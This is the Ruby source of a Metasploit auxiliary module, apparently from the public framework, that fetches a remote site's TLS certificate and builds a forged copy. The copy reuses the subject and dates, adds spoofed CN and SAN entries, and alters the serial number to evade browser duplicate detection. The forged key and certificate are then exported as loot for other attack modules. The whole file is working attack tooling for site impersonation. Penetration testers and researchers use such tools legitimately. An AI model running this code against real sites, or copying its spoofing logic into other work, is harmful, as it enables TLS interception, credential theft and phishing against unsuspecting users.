modules/auxiliary/gather/impersonate_ssl.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Rex::Socket::SslTcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP SSL Certificate Impersonation',
'Author' => 'Chris John Riley',
'References' =>
[
['URL', 'https://www.slideshare.net/ChrisJohnRiley/ssl-certificate-impersonation-for-shits-andgiggles']
],
'License' => MSF_LICENSE,
'Description' => %q{
This module request a copy of the remote SSL certificate and creates a local
(self.signed) version using the information from the remote version. The module
then Outputs (PEM|DER) format private key / certificate and a combined version
for use in Apache or other Metasploit modules requiring SSLCert Inputs for private
key / CA cert have been provided for those with DigiNotar certs hanging about!
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('SSLServerNameIndication', [ false, 'SSL/TLS Server Name Indication (SNI)', nil], aliases: ['SNI']),
OptEnum.new('OUT_FORMAT', [true, 'Output format', 'PEM', ['DER', 'PEM']]),
OptString.new('EXPIRATION', [false, 'Date the new cert should expire (e.g. 06 May 2012, YESTERDAY or NOW)', nil]),
OptPath.new('PRIVKEY', [false, 'Sign the cert with your own CA private key', nil]),
OptString.new('PRIVKEY_PASSWORD', [false, 'Password for private key specified in PRIV_KEY (if applicable)', nil]),
OptPath.new('CA_CERT', [false, 'CA Public certificate', nil]),
OptString.new('ADD_CN', [false, 'Add CN to match spoofed site name (e.g. *.example.com)', nil]),
OptString.new('ADD_SAN', [false, 'Add SAN entries to certificate (e.g. alt.example.com,127.0.0.1)', nil])
]
)
register_advanced_options(
[
OptBool.new('AlterSerial', [false, 'Alter the serial number slightly to avoid FireFox serial matching', true])
]
)
end
def get_cert(rhost, rport, sni)
info_hash = {'PeerHost' => sni, 'PeerAddr' => rhost, 'PeerPort' => rport.to_s}
sslSocket = Rex::Socket::SslTcp.create(info_hash)
cert = sslSocket.peer_cert
sslSocket.close
cert
end
def run
if !datastore['SSLServerNameIndication'].nil?
sni = datastore['SSLServerNameIndication']
print_status("Connecting to #{rhost}:#{rport} SNI:#{sni}")
else
sni = false
print_status("Connecting to #{rhost}:#{rport}")
end
if !datastore['PRIVKEY'].nil? && !datastore['CA_CERT'].nil?
print_status('Signing generated certificate with provided PRIVATE KEY and CA Certificate')
if !datastore['PRIVKEY_PASSWORD'].nil? && !datastore['PRIVKEY_PASSWORD'].empty?
ca_key = OpenSSL::PKey::RSA.new(File.read(datastore['PRIVKEY']), datastore['PRIVKEY_PASSWORD'])
else
ca_key = OpenSSL::PKey::RSA.new(File.read(datastore['PRIVKEY']))
end
ca = OpenSSL::X509::Certificate.new(File.read(datastore['CA_CERT']))
elsif !datastore['PRIVKEY'].nil? || !datastore['CA_CERT'].nil?
# error if both PRIVKEY and CA_CERT are not BOTH provided
print_error('CA Certificate AND Private Key must be provided!')
return
end
begin
cert = get_cert(rhost, rport, sni)
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
end
if !cert
print_error("#{rhost}:#{rport} No certificate subject or CN found")
return
end
print_status("Copying certificate from #{rhost}:#{rport}\n#{cert.subject} ")
vprint_status("Original Certificate Details\n\n#{cert.to_text}")
begin
keylength = /Key: \((\d+)/i.match(cert.signature_algorithm)[1] # Grab keylength from target cert
rescue StandardError
keylength = 1024
end
begin
hashtype = /Algorithm: (\w+)With/i.match(cert.to_text)[1] # Grab hashtype from target cert
rescue StandardError
hashtype = 'sha1'
end
new_cert = OpenSSL::X509::Certificate.new
ef = OpenSSL::X509::ExtensionFactory.new
# Duplicate information from the remote certificate
entries = ['version', 'serial', 'subject', 'not_before', 'not_after']
entries.each do |ent|
new_cert.send("#{ent}=", cert.send(ent))
end
# add additional Common Name to the new cert
if !datastore['ADD_CN'].nil? && !datastore['ADD_CN'].empty?
new_cert.subject = OpenSSL::X509::Name.new(new_cert.subject.to_a << ['CN', datastore['ADD_CN'].to_s])
print_status("Adding #{datastore['ADD_CN']} to the end of the certificate subject")
vprint_status("Certificate Subject: #{new_cert.subject}")
end
if !datastore['EXPIRATION'].nil? && !datastore['EXPIRATION'].empty?
# alter the not_after and not_before dates
print_status("Altering certificate expiry information to #{datastore['EXPIRATION']}")
case datastore['EXPIRATION'].downcase
when 'yesterday'
new_cert.not_after = 24.hours.ago
new_cert.not_before = 1.year.ago - 24.hours # set start date (1 year cert)
when 'now'
new_cert.not_after = Time.now
new_cert.not_before = 1.year.ago # set start date (1 year cert)
else
new_cert.not_after = Time.parse(datastore['EXPIRATION'])
new_cert.not_before = Time.parse(datastore['EXPIRATION']) - 1.year # set start date (1 year cert)
end
vprint_status("Certificate expiry date set to #{new_cert.not_after}")
end
# Alter serial to avoid duplicate issuer/serial detection
if datastore['AlterSerial']
if (cert.serial.to_s.length > 1)
# alter last digits of the serial number
new_cert.serial = (cert.serial.to_s[0..-2] + rand(0xFF).to_s).to_i
else
# serial is too small, create random serial
vprint_error('The serial number of the original cert is too short. Creating new random serial')
new_cert.serial = rand(0xFFFF)
end
else
# match serial number
new_cert.serial = cert.serial.to_s
end
if !datastore['PRIVKEY'].nil? && !datastore['PRIVKEY'].empty?
new_cert.public_key = ca_key.public_key
ef.subject_certificate = ca
ef.issuer_certificate = ca
new_cert.issuer = ca.subject
print_status("Using private key #{datastore['PRIVKEY']}")
else
new_key = OpenSSL::PKey::RSA.new(keylength.to_i)
new_cert.public_key = new_key.public_key
ef.subject_certificate = new_cert
ef.issuer_certificate = new_cert
if !datastore['ADD_CN'].nil? && !datastore['ADD_CN'].empty?
new_cert.issuer = new_cert.subject
else
new_cert.issuer = cert.subject
end
end
new_cert.extensions = [
ef.create_extension('basicConstraints', 'CA:FALSE', true),
ef.create_extension('subjectKeyIdentifier', 'hash'),
]
# Add additional SAN entries to the new cert. See https://support.f5.com/csp/article/K13471
# for an example of how this added SAN field is expected to look like in a certificate.
if !datastore['ADD_SAN'].nil? && !datastore['ADD_SAN'].empty?
sans = datastore['ADD_SAN'].to_s.split(/,/)
sans.map! do |san|
san = (san =~ Resolv::IPv4::Regex || san =~ Resolv::IPv6::Regex) ? "IP:#{san}" : "DNS:#{san}"
end
new_cert.add_extension(ef.create_extension('subjectAltName', sans.join(','), false))
print_status("Adding #{datastore['ADD_SAN']} to the certificate subject alternative names")
end
if !datastore['PRIVKEY'].nil? && !datastore['PRIVKEY'].empty?
new_cert.sign(ca_key, OpenSSL::Digest.new(hashtype))
new_key = ca_key # Set for file output
else
new_cert.sign(new_key, OpenSSL::Digest.new(hashtype))
end
vprint_status("Duplicate Certificate Details\n\n#{new_cert.to_text}")
print_status('Beginning export of certificate files')
priv_key = new_key.send("to_#{datastore['OUT_FORMAT'].downcase}")
cert_crt = new_cert.send("to_#{datastore['OUT_FORMAT'].downcase}")
combined = new_key.send('to_pem') + new_cert.send('to_pem')
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_status("Creating looted key/crt/pem files for #{rhost}:#{rport}")
p = store_loot("#{datastore['RHOST'].downcase}_key", datastore['OUT_FORMAT'].downcase, addr, priv_key, 'imp_ssl.key', 'Impersonate_SSL')
print_good("key: #{p}")
p = store_loot("#{datastore['RHOST'].downcase}_cert", datastore['OUT_FORMAT'].downcase, addr, cert_crt, 'imp_ssl.crt', 'Impersonate_SSL')
print_good("crt: #{p}")
p = store_loot("#{datastore['RHOST'].downcase}_pem", 'pem', addr, combined, 'imp_ssl.pem', 'Impersonate_SSL')
print_good("pem: #{p}")
end
end